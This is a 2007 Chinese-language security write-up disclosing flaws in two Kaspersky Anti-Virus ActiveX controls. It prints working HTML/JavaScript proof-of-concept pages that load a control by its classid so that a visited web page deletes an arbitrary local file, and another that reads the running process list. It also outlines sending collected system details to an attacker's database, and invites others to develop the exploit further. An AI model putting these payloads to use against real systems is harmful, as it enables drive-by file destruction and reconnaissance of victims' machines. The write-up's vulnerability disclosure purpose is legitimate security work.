創建時間:2007-05-19 更新時間:2007-05-30
文章屬性:原創
文章提交:blueph4nt0m (blueph4nt0m_at_sogou.com)
首先聲明,這個漏洞是朋友zf在調試程序的時候發現的,非常鄙視某人以其自己名義將此漏洞包括zf的利用程序代碼投稿國內某雜志的行為!
下面來說說這個漏洞,最初發現這個漏洞是由一個ActiveX控件引起的:位于Kaspersky Anti-Virus安裝目錄下的AxKLProd60.dll。這個控件調用了一個函數:DeleteFile(),獲取到這個ActiveX控件的classid即可以在網頁中利用這個控件執行DeleteFile的操作。至于該控件的classid獲取方法很簡單,用UltraEdit打開就能找到了。zf告訴我的時候就同時給我了利用代碼:
<SCRIPT language=javascript>
function test()
{
bug.DeleteFile("D:\\1.txt");
}
</script>
<object classid="clsid:D9EC22E7-1A86-4F7C-8940-0303AE5D6756" name="bug">
//這是卡巴斯基組件的注冊標識
</object>
<script>javascript:test(); //調用測試函數
</script>
以上代碼存為html文件,在D盤根目錄下新建一個1.txt,訪問一下這個頁面,之前新建的1.txt被刪除就說明成功了。上面的D:\\1.txt可以改為任意路徑。
之后我針對此代碼進行了一些測試,發現并不是通用的。bug.DeleteFile("D:\\1.txt");這樣的寫法對多數版本有效,但某些版本必須寫成:bug.DeleteFile("D:\1.txt");。而且此代碼在IE7上執行會被攔截。我想看看有沒有多一些的可利用函數,zf給了我一張他反編譯得到的表:
[img]http://try2.org/images/Kaspersky1.jpg[/img]
[img]http://try2.org/images/Kaspersky2.jpg[/img]
看起來有搞頭,本準備直接試試列表里的函數,結果一個都用不了,我以為我的用法有問題。于是我拿去和同是try2.org的cfx研究研究。
和cfx一起看了才發現kaba里有兩個ActiveX控件,AxKLProd60.dll和AxKLSysInfo.dll。用VB導入才知道,原來之前zf給我的表是導出表而不是導入表。這兩個ActiveX控件的導入表截圖如下:
[img]http://try2.org/images/Kaspersky3.jpg[/img]
[img]http://try2.org/images/Kaspersky4.jpg[/img]
[img]http://try2.org/images/Kaspersky5.jpg[/img]
這一看傻了,看來導出表里只有DeleteFile()比較有“實際”用處,其他都是一些獲取信息的屬性。從列表中我們可以看到可以獲取已安裝文件列表、BIOS版本信息、系統版本信息、HotFix列表等等。看來對獲取進一步權限都沒什么用處了。不過這些信息都是客戶端得到的,作為利用者要得到這些信息還得利用網頁,比如用GET方式跟參數寫入預先準備好的網站數據庫,或者以表單形式將列表提交到數據庫之類的我就不多說了。試了幾個,其中HotFixList沒有正確輸出。get_HotFixList()獲取的不是字符串么?還請高手多多指教。
能力有限,我們研究此漏洞僅僅到此為止。有高手能將此漏洞發揚光大的希望能發出來哈。看來殺毒軟件出錯也是很可怕的。前幾天的Symantec的誤報也害了很多機器。所以提醒大家不要過于依賴殺毒軟件,畢竟它們也是程序,也是會有漏洞和BUG的。提高自己的安全意識才是最重要的。希望Kaspersky能盡早修復此漏洞。希望各位到try2.org交流(原scccn改組的團隊)。
Bluephantom作于2007年
**************************************************
附:
<SCRIPT language=javascript>
function test()
{
list = bug.get_ProcessList()
document.write(list)
}
</script>
<object classid="clsid:BA61606B-258C-4021-AD27-E07A3F3B91DB" name="bug">
//這是卡巴斯基組件的注冊標識
</object>
<script>javascript:test(); //調用測試函數
</script>